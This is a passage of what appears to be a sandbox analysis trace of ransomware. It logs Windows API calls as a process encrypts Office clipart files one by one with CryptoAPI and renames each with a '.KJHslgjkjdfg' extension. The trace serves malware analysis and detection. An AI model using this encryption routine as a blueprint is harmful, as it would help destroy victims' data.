"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.396] GetProcessHeap () returned 0x990000 [0199.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.396] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.396] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.396] GetProcessHeap () returned 0x990000 [0199.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.396] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.396] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.396] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.399] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.399] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.400] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcba0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcba0, lpOverlapped=0x0) returned 1 [0199.403] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcba0, dwBufLen=0xcba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcba0) returned 1 [0199.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.403] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcba0, lpOverlapped=0x0) returned 1 [0199.404] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.404] SetEndOfFile (hFile=0x130) returned 1 [0199.407] GetProcessHeap () returned 0x990000 [0199.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.407] GetProcessHeap () returned 0x990000 [0199.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.kjhslgjkjdfg")) returned 1 [0199.409] CloseHandle (hObject=0x130) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0199.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.410] GetProcessHeap () returned 0x990000 [0199.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.410] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.410] GetProcessHeap () returned 0x990000 [0199.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.410] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.410] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.410] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.413] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.413] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.413] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5700, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5700, lpOverlapped=0x0) returned 1 [0199.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5700, dwBufLen=0x5700 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5700) returned 1 [0199.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.415] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5700, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5700, lpOverlapped=0x0) returned 1 [0199.415] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x57d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.415] SetEndOfFile (hFile=0x130) returned 1 [0199.418] GetProcessHeap () returned 0x990000 [0199.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.418] GetProcessHeap () returned 0x990000 [0199.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.kjhslgjkjdfg")) returned 1 [0199.420] CloseHandle (hObject=0x130) returned 1 [0199.420] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0199.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.422] GetProcessHeap () returned 0x990000 [0199.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.422] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0199.424] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.424] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.424] GetProcessHeap () returned 0x990000 [0199.424] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.425] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.425] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.425] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.425] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.425] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.425] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.425] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.425] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x60c2, lpOverlapped=0x0) returned 1 [0199.427] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60d0) returned 1 [0199.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.427] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x60d0, lpOverlapped=0x0) returned 1 [0199.427] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.427] SetEndOfFile (hFile=0x130) returned 1 [0199.430] GetProcessHeap () returned 0x990000 [0199.430] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.430] GetProcessHeap () returned 0x990000 [0199.430] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.kjhslgjkjdfg")) returned 1 [0199.444] CloseHandle (hObject=0x130) returned 1 [0199.444] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0199.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.446] GetProcessHeap () returned 0x990000 [0199.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.446] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0199.448] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.448] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.448] GetProcessHeap () returned 0x990000 [0199.448] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.448] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.449] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.449] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.449] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.449] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.449] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x51be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x51be, lpOverlapped=0x0) returned 1 [0199.451] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51c0, dwBufLen=0x51c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51c0) returned 1 [0199.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.451] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x51c0, lpOverlapped=0x0) returned 1 [0199.451] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.452] SetEndOfFile (hFile=0x130) returned 1 [0199.454] GetProcessHeap () returned 0x990000 [0199.455] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.455] GetProcessHeap () returned 0x990000 [0199.455] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.kjhslgjkjdfg")) returned 1 [0199.456] CloseHandle (hObject=0x130) returned 1 [0199.456] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0199.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.457] GetProcessHeap () returned 0x990000 [0199.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.457] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.458] GetProcessHeap () returned 0x990000 [0199.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.458] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.458] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.458] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.461] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.461] WriteFile (in: 